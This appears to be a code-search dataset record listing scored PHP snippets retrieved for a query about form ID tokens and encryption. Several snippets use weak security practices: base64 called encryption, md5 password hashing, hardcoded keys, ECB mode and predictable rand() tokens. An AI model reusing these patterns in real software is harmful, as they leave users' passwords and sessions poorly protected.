$usuario=Login::get(); //recupera el usuario actual\n \n include 'views/exito.php'; //mostrar éxito\n }", "title": "" }, { "docid": "7f806ca785b1993094582cab3a124c98", "score": "0.62808514", "text": "public function find_user_profil(){\n\n\t\ttry {\n\t\t\t$bdh = parent::connection_bdd();\n\t\t\t$stmp = $bdh->prepare('SELECT * FROM '.$this->name_table_user_.' WHERE NoUtilisateur = :id_user ');\n\n\t\t\t$stmp->bindParam(':id_user', $this->user_id_);\n\n\t\t\t\n\n\t\t\t$stmp->execute();\n\t\t\t$res = $stmp->fetch();\n\t\t\tparent::close_connection_bdd($bdh);\n\t\t\t\n\t\t\t$this->token_ = $res['token'];\n\t\t\t$this->user_pseudo_ = $res['login'];\n\t\t\t$this->user_email_ = $res['mail'];\n\t\t\t$this->user_password_ = $res['password'];\n\t\t\t// $this->user_id_ = $res['NoUtilisateur'];\n\t\t\t$this->user_firstName_ = $res['prenom'];\n\t\t\t$this->user_lastName_ = $res['nom'];\n\t\t\t\n\t\t\t\n\n\t\t} catch( PDOExecption $e){\n\t\t\texit('<b>Catched exception( cf. class User) at line '. $e->getLine() .' :</b> '. $e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "c486bc52f6f510a904785f0fb9d4da08", "score": "0.62779474", "text": "public function reg_usuario($datos){\n\t\t//de lo contrario inserta un usuario\n\t\t$this->db->insert('usuarios', $datos);\n\t}", "title": "" } ]
427ac4d021c3c1de97a650445cb99767
VARS_PAGE ENCRYPT form id_token
[ { "docid": "6d0785ac8bf07f21678a38c5f85d531a", "score": "0.6570964", "text": "function f_app_form_id_token () \n {\n GLOBAL $session;\n \n $form_id_token = \"\";\n \n //gjenerojme token dhe e ruajme tek logu ---------------------------------------------------------------------------------\n $ip_add = ValidateVarFun::f_only_numbers($_SERVER['REMOTE_ADDR']);\n $dt_ora = DATE(\"YmdHis\");\n $id_token = $dt_ora.$ip_add.rand(1000000,9999999);\n\t\t\t\n IF (STRLEN($id_token) < 32)\n {\n $id_token = $id_token.rand(1000000,9999999);\n }\n\t\t\t\n $form_id_token = SUBSTR($id_token, 0, 32);\n\n $sql_ins = \"INSERT INTO phi_form_token (ID_S, form_id_token)\n VALUES ('\".ValidateVarFun::f_real_escape_string($session->Vars[\"uni\"]).\"', '\".ValidateVarFun::f_real_escape_string($form_id_token).\"')\n \";\n WebApp::execQuery($sql_ins);\n //gjenerojme token dhe e ruajme tek logu ---------------------------------------------------------------------------------\n \n RETURN $form_id_token;\n }", "title": "" } ]
[ { "docid": "7c3df2990f8fdb659e8a70e40881fe37", "score": "0.606284", "text": "public function encript() : string;", "title": "" }, { "docid": "2ab1becf4d6af5d5b6bd09a5a949c29d", "score": "0.5862479", "text": "function elggform_key_get($form_name) {\n //build secret key\n $form_key = md5($_SESSION['userid'] . time());\n //store secret in session\n $_SESSION['form'][$form_name] = array('key' => $form_key, 'timestamp' => time());\n // return key\n return $form_key;\n}", "title": "" }, { "docid": "95af353328d33be005558e15dba31500", "score": "0.5778115", "text": "function encrypt($text) \n{ \n $key = KEY_ENCRYPT; //define this in config file\n return trim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND)))); \n}", "title": "" }, { "docid": "eedf14dab268f5ded6a91ec4abcaf8b9", "score": "0.5745711", "text": "function private_hash() {\n \n global $_POST;\n \n if ($_POST['private_id'] == '') {\n echo -1;\n exit;\n }\n \n $private_id = base64_decode($_POST['private_id']);\n \n return md5( $private_id . session_id() );\n \n}", "title": "" }, { "docid": "ecf22f5a9f0f6178e6f108b5662275a8", "score": "0.57336426", "text": "function encrypt($s_var)\r\n{\r\n try\r\n { \r\n $ret_=$s_var.\"#acu\";///Hardcodded here for security reasons\r\n $ret_=base64_encode(base64_encode($ret_));\r\n unset($s_var);\r\n return $ret_;\r\n }\r\n\r\n catch(Exception $err_obj)\r\n {\r\n\t\tshow_error($err_obj->getMessage());\r\n } \r\n}", "title": "" }, { "docid": "604be0af430f3926c61829348d94cc1b", "score": "0.57310337", "text": "function encrypt($s_var)\n{\n try\n { \n $ret_=$s_var.\"#acu\";///Hardcodded here for security reasons\n $ret_=base64_encode(base64_encode($ret_));\n unset($s_var);\n return $ret_;\n }\n catch(Exception $err_obj)\n {\n show_error($err_obj->getMessage());\n } \n}", "title": "" }, { "docid": "c21e99f20b4f6fe9fb04d88df7c5c9fe", "score": "0.5706141", "text": "public function PutAnnonce($app, $id){\n\t\t/*if (isset($_POST[\"titre\"], $_POST[\"description\"], $_POST[\"tarif\"], $_POST[\"ville\"], $_POST[\"CP\"],$_POST[\"categorie\"] )\n\t\t && !empty($_POST[\"titre\"]) && !empty( $_POST[\"description\"]) && !empty( $_POST[\"tarif\"]) && !empty( $_POST[\"ville\"]) && !empty( $_POST[\"CP\"]) && !empty($_POST[\"categorie\"])\n\t\t){*/\n\t\t\t//password\n\t\t\t$changeAnnonce = Annonce::find($id);\n\t\t\t$hash = $changeAnnonce->password;\n\t\t\t$annonceur_password_clear = filter_var($app->request->put('password'), FILTER_SANITIZE_STRING);//$_POST['password'];\n\t\t\t\n\t\t\tif (password_verify($annonceur_password_clear, $hash)) {\n\n\t\t\t\tif ($app->request->put('categorie') != null){\n\t\t\t\t\t$categoriePost = filter_var($app->request->put('categorie'), FILTER_SANITIZE_STRING);//filter_input(INPUT_POST, 'categorie', FILTER_SANITIZE_STRING);//$_POST[\"categorie\"];\n\t\t\t\t\t$categorie = Categorie::where('nom', '=', $categoriePost)->first();\n\t\t\t\t\t$id_categorie = $categorie->id;\n\t\t\t\t}else{\n\t\t\t\t\t$id_categorie = $changeAnnonce->id_categorie;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t//gestion informations de l'annonce\n\t\t\t\t// $changeAnnonce = Annonce::find($id);\n\t\t\t\tif($app->request->put('titre') != null){\n\t\t\t\t\t$titre = filter_var($app->request->put('titre'), FILTER_SANITIZE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$titre = $changeAnnonce->titre;\n\t\t\t\t}\n\t\t\t\tif($app->request->put('description') != null){\n\t\t\t\t\t$description = filter_var($app->request->put('description'), FILTER_SANITIZE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$description = $changeAnnonce->description;\n\t\t\t\t}\n\t\t\t\tif($app->request->put('tarif') != null){\n\t\t\t\t\t$tarif = filter_var($app->request->put('tarif'), FILTER_SANITIZE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$tarif = $changeAnnonce->tarif;\n\t\t\t\t}\n\t\t\t\tif($app->request->put('ville') != null){\n\t\t\t\t\t$ville = filter_var($app->request->put('ville'), FILTER_SANITIZE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$ville = $changeAnnonce->ville;\n\t\t\t\t}\n\t\t\t\tif($app->request->put('CP') != null){\n\t\t\t\t\t$CP = filter_var($app->request->put('CP'), FILTER_SANITIZE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$CP = $changeAnnonce->CP;\n\t\t\t\t}\n\t\t\t\t$changeAnnonce->titre = $titre;//filter_input(INPUT_POST, 'titre', FILTER_SANITIZE_STRING);//$_POST[\"titre\"];\n\t\t\t\t$changeAnnonce->description = $description;//filter_input(INPUT_POST, 'description', FILTER_SANITIZE_STRING);//$_POST[\"description\"];\n\t\t\t\t$changeAnnonce->tarif = $tarif;//filter_input(INPUT_POST, 'tarif', FILTER_SANITIZE_STRING);//$_POST[\"tarif\"];\n\t\t\t\t$changeAnnonce->ville = $ville;//filter_input(INPUT_POST, 'ville', FILTER_SANITIZE_STRING);//$_POST[\"ville\"];\n\t\t\t\t$changeAnnonce->CP = $CP;//filter_input(INPUT_POST, 'CP', FILTER_SANITIZE_STRING);//$_POST[\"CP\"];\n\t\t\t\t$changeAnnonce->id_categorie = $id_categorie;\n\t\t\t\t$changeAnnonce->save();\n\t\t\t\t$id_annonce = $changeAnnonce->id;\n\n\t\t\t\t/* Valid */\n\t\t\t\t$req = $app->request;\n\t\t\t\t//Get root URI\n\t\t\t\t$rootUri = $req->getUrl();\n\t\t\t\t$rootUri .= $req->getRootUri();\n\t\t\t\t$changeAnnonce->images = array('href' => \"$rootUri/data/img_annonces/\".$changeAnnonce->images.\".\".$changeAnnonce->images_ext);\n\t\t\t\t$annonceArray['annonce'] = $changeAnnonce; //toJson ?????\n\t\t\t\t$changeAnnonce->password = null;\n\t\t\t\t$annonceArray['links'] = array(\t\t'rel' => 'categorie',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'id' => $id_categorie,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'nom' => $categorie->nom,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'uri' => \"$rootUri/api/categorie/\".$categorie->nom);\n\t\t\t\t\n\t\t\t\t$app->response->setStatus(200) ; //204 pour PUT mais ne retourne aucune données aussi\n\t\t\t\t$app->response->headers->set('Content-type','application/json') ;\n\t\t\t\techo json_encode($annonceArray);\n\t\t\n\t\t } else {\n\t\t /* Invalid */\n\t\t $app->response->headers->set('Content-type','application/json') ;\n\t \t$app->halt(500, json_encode(array(\"erreur_message\"=>'invalide Password')));\n\t\t }\n\t\t/*}else{\n\t\t\t/* Invalid */\n\t //$app->response->headers->set('Content-type','application/json') ;\n\t \t//$app->halt(500, json_encode(array(\"erreur_message\"=>'Champs invalides')));\n\t\t//}*/\n\t}", "title": "" }, { "docid": "4a4def0f0bf1b67adbf31cae8a59a103", "score": "0.5694873", "text": "function encriptar(){\n $cve = sha1($_POST['clave']);\n $cve = $cve.\"7436nfoifjhsdSDSDFSOD9873#&&9.ls;lo\";\n $cve = md5($cve);\n return($cve);\n}", "title": "" }, { "docid": "eaa127f99ad887ade0986672de30541d", "score": "0.566625", "text": "public function encrypt()\n\t{\n\t\t$this->EE->load->helper(\"encryption\");\n\t\t$this->EE->load->library('javascript');\n\n\t\t$site_id = $this->EE->input->get(\"local_site_id\");\n\t\t$site = $this->EE->site_data->get($site_id);\n\n\n\t\t$data = $_POST;\n\n\t\t$data = json_encode($data);\n\n\t\t$data = base64_encode(encrypt_payload($data, $site->setting(\"private_key\")));\n\n\t\t@header('Content-Type: text/html');\n\n\t\texit($data);\n\n\n\t}", "title": "" }, { "docid": "be84aecb48b9ea76ebe97b9bc442e2df", "score": "0.56338096", "text": "function f_app_encrypt($text, $key, $iv) \n {\n $cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');\n mcrypt_generic_init($cipher, $key, $iv);\n $decrypted = mcrypt_generic($cipher, $text);\n mcrypt_generic_deinit($cipher);\n\n //$inp_var = bin2hex($decrypted);\n $inp_var = base64_encode($decrypted);\n $inp_var = strtr($inp_var, \"+/=\", \"-_,\");\n \n RETURN RTRIM($inp_var);\n }", "title": "" }, { "docid": "66fde2f9a09d8249a18ed8ff5321bb5e", "score": "0.561915", "text": "private function encryptPost () {\n $textInput = $this->getTextInputUncapitalized();\n $this->transferKeyFromViewToEncryption();\n $this->transferMessageFromEncryptionToView($textInput);\n }", "title": "" }, { "docid": "c56db62b58fd96d482c6f083d669bb65", "score": "0.56083816", "text": "function generate_token($key,$time){\r\n\r\n //design a function to encrypt the token based on the key and time\r\n $t=time();\r\n $encrypt=($t+15)%500; // or use an encrypt function to get more complex\r\n echo $encrypt . \"<br/>\";\r\n $token=base64_encode($encrypt);\r\n echo $token;\r\n return;\r\n}", "title": "" }, { "docid": "39ce054cb09df5bd7c2c975651bc8094", "score": "0.55904394", "text": "function get_HTML_token()\n\t{\n\t\t$token = md5(uniqid(rand(),TRUE));\n\t\t$string = '<input type=\"hidden\" name=\"sec_token\" value=\"'.$token.'\"/>';\n\t\t$_SESSION['sec_token'] = $token;\n\t\treturn $string;\n\t}", "title": "" }, { "docid": "3524fadc80e0423da02c6187fa3a28d6", "score": "0.55898", "text": "private function tokenSet()\n {\n $_SESSION['FormSimple_token'] = uniqid(md5(microtime()), true);\n }", "title": "" }, { "docid": "35bcc2303930053b0927cf16ef6e83c4", "score": "0.5570883", "text": "public function renewFormKey()\n {\n $this->setData('_form_key', Virtual::helper('core')->getRandomString(16));\n }", "title": "" }, { "docid": "b2122298b791227da69947dbef403f69", "score": "0.5569636", "text": "function encriptacion($input)\n{\n return md5(md5($input).'creative');\n}", "title": "" }, { "docid": "bd820951de6d55b427198168bbbf57cc", "score": "0.55663913", "text": "public function encryptPasswordCallback($formData, $id = NULL) {\n\t\tif(!preg_match('/^[a-f0-9]{40}$/', $formData['adm_pass'])) {\n\t\t\t$formData['adm_pass'] = sha1($formData['adm_pass']);\n\t\t}\n\t\treturn $formData;\n\t}", "title": "" }, { "docid": "c429d69e7ac432242159bcaa839d79ff", "score": "0.55340195", "text": "public function getEncryptedTokenFromPlainValue($value);", "title": "" }, { "docid": "d85fdbe04f1ece0f5f4d6fa80745dc95", "score": "0.55304205", "text": "public function encryptPassword()\t{\n\t\t\t\n\t\t}", "title": "" }, { "docid": "96b4d40ebdd5ca8593ca29ba096df51d", "score": "0.5526881", "text": "function preventdform ()\n{\n\n$randtok = md5(uniqid(microtime()));\n\n$token = substr($randtok, 0, 20);\n\nreturn $token;\n\n}", "title": "" }, { "docid": "1beb5e51d3cdfc54d03fd0a6b0666282", "score": "0.55226994", "text": "abstract public function Encender();", "title": "" }, { "docid": "95e28b66b65dbf1ed6065bdd8564660a", "score": "0.55067694", "text": "function generarFormToken($formId) {\n $nuevoToken = hash('sha512', uniqid(mt_rand(), true));\n $token_time = time();\n $_SESSION['csrf'][$formId . '_token'] = array('token' => $nuevoToken, 'time' => $token_time);\n return $nuevoToken;\n}", "title": "" }, { "docid": "60443c1dd08d028a7d35bd435cd66893", "score": "0.54928565", "text": "function wp_ajax_generate_password() {}", "title": "" }, { "docid": "67e5d528b13eebe848562f0d480ab19c", "score": "0.5491103", "text": "function encrypt_contents($data,$pukey){\r\n \r\n }", "title": "" }, { "docid": "bc03e6c9fe924a499620cf9be4cd63eb", "score": "0.547791", "text": "function token_generator()\n{\n $token = openssl_random_pseudo_bytes(16);\n\n //Convert the binary data into hexadecimal representation.\n $token = $_SESSION['token'] = bin2hex($token);\n\n //Print it out for example purposes.\n return $token;\n}", "title": "" }, { "docid": "f28ac818d6fd8f8567be7065ec5e414e", "score": "0.5472637", "text": "function generartoken($idusuario, $username){ \n $cadena = $idusuario.$username.rand(1,9999999).\"25-09-2062\".(3082*rand(1,9));\n $token = sha1($cadena);\n return $token ;\n }", "title": "" }, { "docid": "5a2c0e268c05c1961da5ff8d1f71a21f", "score": "0.5449507", "text": "function register_code($c) {\r\n\t\t\t$_SESSION['verification_key'] = $c;\r\n\t\t}", "title": "" }, { "docid": "199965053cd28b80bf0d5562f7b9d303", "score": "0.54471475", "text": "function old_encryptHref ($sid, $in_data) {\n\n $key = $sid; \n $input = $in_data; \n\n $td = mcrypt_module_open('tripledes', '', 'ecb', '');\n $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);\n mcrypt_generic_init($td, $key, $iv);\n $encrypted_data = mcrypt_generic($td, $input);\n mcrypt_generic_deinit($td);\n mcrypt_module_close($td);\n\n\n\n\n $encrypted_text = compressCrypt($encrypted_data); \n return $encrypted_text;\n}", "title": "" }, { "docid": "a4f5e2fb6e37135a9c8c3861c48efb82", "score": "0.5440725", "text": "public function encriptar_usuario($password){\n\n $passwordEncriptado = $this->encrypt->encode($password);\n return $passwordEncriptado;\n}", "title": "" }, { "docid": "f15ca3064257b935111900d8f10f7f93", "score": "0.54227924", "text": "function encryptUserId($id) {\n $encrypt = md5(1290 * 3 + $id);\n return $encrypt;\n}", "title": "" }, { "docid": "d234bdcb4322112b86a19fa907da5a38", "score": "0.54151344", "text": "function crypte($mdp){\n return (md5(\"!^#!=\".$mdp));\n}", "title": "" }, { "docid": "5bd5b043e66dee0bbeeb71d4f24e8a50", "score": "0.540943", "text": "function encode_new($value,$key){\n$encoded = str_rot13($value);\n//$decoded = str_rot13(str_rot13($string));\n//echo $encoded .\"\\n\";\n//echo $decoded;\n return trim($encoded); \n }", "title": "" }, { "docid": "5710b50a69331677ef6e8fd3f5e7f2c2", "score": "0.5406682", "text": "function stocker_mot_de_passe($mot_de_passe_en_clair)\n{\n $mot_de_passe_hache = sodium_crypto_pwhash_str($mot_de_passe_en_clair, SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE);\n $GLOBALS[\"nonce_mot_de_passe\"] = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);\n $GLOBALS[\"mot_de_passe_stocke\"] = sodium_crypto_secretbox($mot_de_passe_hache, $GLOBALS[\"nonce_mot_de_passe\"], $GLOBALS[\"cle_secrete\"]);\n}", "title": "" }, { "docid": "05af3dd3a0b024b393fc9da4a76ca9eb", "score": "0.5405429", "text": "function emis_crypt($string,$action) {\n $secret_key = 'billa';\n $secret_iv = 'mangatha';\n \n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n \n if( $action == 'e' ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $action == 'd' ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n \n return $output;\n }", "title": "" }, { "docid": "7ca8eb55dd457a5f6b8b359cd531c538", "score": "0.5397566", "text": "static function generateHiddenTags() {\n return \"<input type=\\\"hidden\\\" name=\\\"captcha_key\\\" value=\\\"\".$_SESSION['captcha_akey'].\"\\\"/>\";\n }", "title": "" }, { "docid": "e4c298d3d378148d0b29ac1944bfcf3e", "score": "0.539754", "text": "function generateFormToken($form) {\n // generate a token from an unique value\n $token = md5(uniqid(microtime(), true)); \n \n // Write the generated token to the session variable to check it against the hidden field when the form is sent\n $_SESSION[$form.'_token'] = $token;\n return $token;\n}", "title": "" }, { "docid": "52d988a61f189a9afb420918539d54df", "score": "0.5397123", "text": "function the_post_password() {}", "title": "" }, { "docid": "905362443f801a6daade7bdba0705fe1", "score": "0.5394827", "text": "private static function generateToken()\n\t{\n\t\t$_SESSION['token'] = Database::randomToken();\n\t}", "title": "" }, { "docid": "9830c359a85989bb71956627eb16ce65", "score": "0.5382508", "text": "function get_nonce_field() {\n\treturn '<input type=\"hidden\" name=\"nonce\" value=\"' . md5( COMIC_NONCE ) . '\" />';\n}", "title": "" }, { "docid": "bbee8aecfdb1cfb2e15f198e552c4ceb", "score": "0.5378437", "text": "function toa_make_ticket($info, $pkey, $method='des') {\n global $DB;\n\n // check if SSO ticket is not obsolete\n $info->date = time();\n $keyinfo = json_encode($info);\n\n // echo \"$keyinfo\";\n\n if ($method == 'rsa') {\n if(!openssl_private_encrypt($keyinfo, $encrypted, $pkey)) {\n error(\"Failed making key\");\n }\n } else {\n // method is Triple-DES\n $sql = \"\n SELECT\n HEX(AES_ENCRYPT('$keyinfo', '$pkey')) as result\n \";\n if($result = $DB->get_record_sql($sql)){\n $encrypted = $result->result;\n } else {\n $encrypted = 'encryption error';\n }\n }\n return $encrypted; \n}", "title": "" }, { "docid": "ce7f4306500c417aa1fb850077323244", "score": "0.5373517", "text": "function encriptar($text, $key) {\n //Declarar la variable result que tomara los valores del return\n $result ='';\n //recorrer hasta que i sea mayor a strlen($text), sino i va a aumentar\n for($i=0; $i<strlen($text); $i++) {\n //Para substraer un caracter en especifico de $text\n $char = substr($text, $i, 1);\n //Para substarer un caracter en especifico de $key\n $keychar = substr($key, ($i % strlen($key))-1, 1);\n //Devolver los caracteres ASCII y ordenar $char mas $keychar\n $char = chr(ord($char)+ord($keychar));\n //Obtener los carcateres ASCII\n $result.=$char;\n }\n //Regresar el resultado en base 64\n return base64_encode($result);\n }", "title": "" }, { "docid": "c4c0d8f0f7b933683f7e990d1ceedb2b", "score": "0.53624773", "text": "function _init_confirm_password_details() {\r\n\t\t\t\r\n\t\t\t$this->txt_password = $this->Common_model->safe_html($this->input->post(\"txt_password\"));\r\n\t\t}", "title": "" }, { "docid": "e8d53d7ca4da879ceaaf0e8ecd90e0d3", "score": "0.535817", "text": "public function InsererJeton()\n\t{\n\t\trequire\"config_chiffrement.php\";\t// défini $cipher, $key et $iv\n\t\t$jetonchiffré = openssl_encrypt($this->jetonJSON, $cipher, $key, 0, $iv);\n\t\treturn \"<input name=\\\"CSRF\\\" type=\\\"hidden\\\" value=\\\"\" . $jetonchiffré . \"\\\">\\n\";\n\t}", "title": "" }, { "docid": "5c637841b399c3f396eaa0ec8864a7e1", "score": "0.53508186", "text": "function generateFormToken($form) {\n $secret = $GLOBALS['CONF']['csrf_secret'];\n $sid = session_id();\n $token = md5($secret.$sid.$form);\n return $token;\n}", "title": "" }, { "docid": "e0f77e843a1499c76bf6708c2bd09115", "score": "0.53482544", "text": "function generateFormToken($form) {\n \t$token = md5(uniqid(microtime(), true)); \n \t\n \t// Write the generated token to the session variable to check it against the hidden field when the form is sent\n \t$_SESSION[$form.'_token'] = $token; \n \t\n \treturn $token;\n }", "title": "" }, { "docid": "e0f77e843a1499c76bf6708c2bd09115", "score": "0.53482544", "text": "function generateFormToken($form) {\n \t$token = md5(uniqid(microtime(), true)); \n \t\n \t// Write the generated token to the session variable to check it against the hidden field when the form is sent\n \t$_SESSION[$form.'_token'] = $token; \n \t\n \treturn $token;\n }", "title": "" }, { "docid": "bfbe73c00084c81dfcb3477714332463", "score": "0.53482324", "text": "public function generateToken() {\n $token = hash('sha256', $this->getRandomNumbers());\n $this->addToSession('token', $token);\n setcookie('token', $token);\n echo '<input type=\"hidden\" name=\"token\" value=\"' . $token . '\">';\n }", "title": "" }, { "docid": "eb6a4a86c124755197b1e2425cc3c4cd", "score": "0.53431517", "text": "function encriptarVideos($encriptarForzado = 0) {\n\tglobal $db;\n\t\n\t$res = $db->query('SELECT ID FROM videos');\n\twhile ($row = $res->fetchArray()) {\n\t\tif ($encriptarForzado == 0) {\n\t\t\t$db->exec('UPDATE videos SET IDencriptado = \"'.$row['ID'].'\" WHERE ID = '.$row['ID']);\n\t\t} else {\n\t\t\t$db->exec('UPDATE videos SET IDencriptado = \"'.encrypt($row['ID'], $encriptarForzado).'\" WHERE ID = '.$row['ID']);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ab74754a9a14348d1f6dea69abe24386", "score": "0.53427905", "text": "public function getEncryptedTokenFromEncryptedValue($value);", "title": "" }, { "docid": "c321f8d2b5d6bf916e386584840c2316", "score": "0.5334617", "text": "function hw_create_token() {\r\n @session_start();\r\n $token = md5(rand(1000,9999)); //you can use any encryption\r\n $_SESSION['token'] = $token; //store it as session variable\r\n}", "title": "" }, { "docid": "d1d5b9ff585b28a67170fa68d5581b32", "score": "0.5324604", "text": "function encryptHref ($sid, $in_data) {\n\n$encrypted_data = $in_data;\n/*\n $td = mcrypt_module_open('tripledes', '', 'ecb', '');\n $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);\n mcrypt_generic_init($td, $key, $iv);\n $encrypted_data = mcrypt_generic($td, $input);\n mcrypt_generic_deinit($td);\n mcrypt_module_close($td);\n*/\n $encrypted_data = compressCrypt($encrypted_data);\n return $encrypted_data;\n}", "title": "" }, { "docid": "b847d93e304ebf98a052f1681f5b3142", "score": "0.53030175", "text": "function generateKeycode($id=null,$bypassRedirect=false){\n\t\tif (!$id && empty($this->data)) {\n\t\t\t$this->Session->setFlash(__('Invalid source', true));\n\t\t\t$this->redirect('/');\n\t\t}\n\t\t\n\t\t$keycode = $this->String->str_rand(8,'mixed');\n\t\t$keycode .= $id;\n\t\t\n\t\t$this->Source->id = $id;\n\t\t$this->Source->saveField('keycode',$keycode);\n\t\t//debug($keycode);\n\t\tif(empty($bypassRedirect)){\n\t\t\t$this->Session->setFlash(__('The keycode has been generated.', true));\n\t\t\t$this->redirect(array('action'=>'key','admin'=>false,$keycode));\n\t\t}\n\t}", "title": "" }, { "docid": "0ad58d39a281a9e6cfd35ad710d0abd5", "score": "0.5302597", "text": "function old_unencryptHref ($sid, $in_data) {\n $encrypted_text = decompressCrypt($in_data);\n $decrypted_text = mcrypt_ecb(MCRYPT_DES, $sid, $encrypted_text , MCRYPT_DECRYPT);\n return $decrypted_text;\n}", "title": "" }, { "docid": "13f8ede8ccbc7c531ee8f6a161057627", "score": "0.5299709", "text": "function generarClave(){\n\n$longitud = 8;\n$pass = substr(md5(rand()),0,$longitud);\n\nreturn $pass;\n\n}", "title": "" }, { "docid": "e4156e521fb7e289d9395bd82d25043c", "score": "0.5296365", "text": "public function getToken(){\n\t\n\t\t/* \n\t\t* returning generated token\n\t\t*/\n\t\t\n\t\treturn $_SESSION['xss'];\n\t\t\n\t}", "title": "" }, { "docid": "ad1da832ffde06ca7d0b67b8c28fd972", "score": "0.52921426", "text": "function html_resendpwd() {\n global $lang;\n global $conf;\n global $INPUT;\n\n $token = preg_replace('/[^a-f0-9]+/','',$INPUT->str('pwauth'));\n\n if(!$conf['autopasswd'] && $token){\n print p_locale_xhtml('resetpwd');\n print '<div class=\"centeralign\">'.NL;\n $form = new Doku_Form(array('id' => 'dw__resendpwd'));\n $form->startFieldset($lang['btn_resendpwd']);\n $form->addHidden('token', $token);\n $form->addHidden('do', 'resendpwd');\n\n $form->addElement(form_makePasswordField('pass', $lang['pass'], '', 'block', array('size'=>'50')));\n $form->addElement(form_makePasswordField('passchk', $lang['passchk'], '', 'block', array('size'=>'50')));\n\n $form->addElement(form_makeButton('submit', '', $lang['btn_resendpwd']));\n $form->endFieldset();\n html_form('resendpwd', $form);\n print '</div>'.NL;\n }else{\n print p_locale_xhtml('resendpwd');\n print '<div class=\"centeralign\">'.NL;\n $form = new Doku_Form(array('id' => 'dw__resendpwd'));\n $form->startFieldset($lang['resendpwd']);\n $form->addHidden('do', 'resendpwd');\n $form->addHidden('save', '1');\n $form->addElement(form_makeTag('br'));\n $form->addElement(form_makeTextField('login', $INPUT->post->str('login'), $lang['user'], '', 'block'));\n $form->addElement(form_makeTag('br'));\n $form->addElement(form_makeTag('br'));\n $form->addElement(form_makeButton('submit', '', $lang['btn_resendpwd']));\n $form->endFieldset();\n html_form('resendpwd', $form);\n print '</div>'.NL;\n }\n}", "title": "" }, { "docid": "dbc1a40487c1f1b1be392ec144a1d592", "score": "0.52814007", "text": "function decryptUserIdmail($encryptedId) {\n $id = md5($encryptedId - 1290 * 3);\n return $id;\n}", "title": "" }, { "docid": "55eb9811a6e1638f50f9d8179da404c3", "score": "0.5281267", "text": "function getToken() {\n return md5(uniqid());\n}", "title": "" }, { "docid": "87ffea3897ce4713731a176a57d8a0a7", "score": "0.52677435", "text": "public function id_encrypt($str) {\n return $str * 55;\n }", "title": "" }, { "docid": "c63dc763efba753db1c245ca016c4a03", "score": "0.52641565", "text": "function pass_cript($pass){\n for($i=0;$i <3;$i++){\n $pass=md5($pass);\n }\n return $pass;\n }", "title": "" }, { "docid": "a727fa9db2d585466e5668bf59371397", "score": "0.52634543", "text": "function login_fields($action)\r\n{\r\n\tglobal $pwcode, $user;\r\n\t$html = '';\r\n\t$html .= '<input type=\"hidden\" name=\"pwcode\" id=\"pwcode\" value=\"'.$pwcode.'\" />' . \"\\n\";\r\n\tswitch ($action) {\r\n\tcase 'CHANGE':\r\n\t\t// Passwort �ndern\r\n\t\t$html .= '<h2>'.$GLOBALS['TEXTE']['LBL_CHANGE_PASSWORD'].'</h2>' . \"\\n\";\r\n\t\t$html .= '<p class=\"odd\">'.$GLOBALS['TEXTE']['USERNAME'].'<br/>' . \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"text\" id=\"username\" name=\"username\" tabindex=\"1\" value=\"'.$user.'\" />' . \"\\n\";\r\n\t\t$html .= '<script type=\"text/javascript\">document.getElementById(\"username\").focus();</script>';\r\n\t\t$html .= '<br/>'.$GLOBALS['TEXTE']['OLD_PASSWORD'].'<br/>'. \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"password\" name=\"password\" tabindex=\"2\" />' . \"\\n\";\r\n\t\t$html .= '<br/>'.$GLOBALS['TEXTE']['NEW_PASSWORD'].'<br/>'. \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"password\" name=\"pwrdneu1\" tabindex=\"3\" />' . \"\\n\";\r\n\t\t$html .= '<br/>'.$GLOBALS['TEXTE']['REPEAT_PASSWORD'].'<br/>'. \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"password\" name=\"pwrdneu2\" tabindex=\"4\" />' . \"\\n\";\r\n\t\t$html .= '<p class=\"even\">' . \"\\n\";\r\n\t\t$html .= '<input style=\"width:170px;padding:3px 0;\" type=\"submit\" name=\"new_password\" tabindex=\"5\" value=\"'.$GLOBALS['TEXTE']['LBL_CHANGE_PASSWORD'].'\" onclick=\"javascript:start_form(\\'change\\');\" />' . \"\\n\";\r\n\t\t$html .= '<input type=\"hidden\" name=\"code\" value=\"'.$_SESSION['code'].'\">' . \"\\n\";\r\n\t\t$html .= '</p>' . \"\\n\";\r\n\t\t$html .= '<p class=\"even\">' . \"\\n\";\r\n//\t\t$html .= '<input style=\"width:170px;padding:0;\" type=\"submit\" name=\"login\" tabindex=\"6\" value=\"'.$GLOBALS['TEXTE']['EXEC_LOGIN'].'\" onclick=\"javascript:start_form(\\'login\\');\" />' . \"\\n\";\r\n//\t\t$html .= '<input style=\"width:170px;padding:0;\" type=\"submit\" name=\"forgot\" tabindex=\"7\" 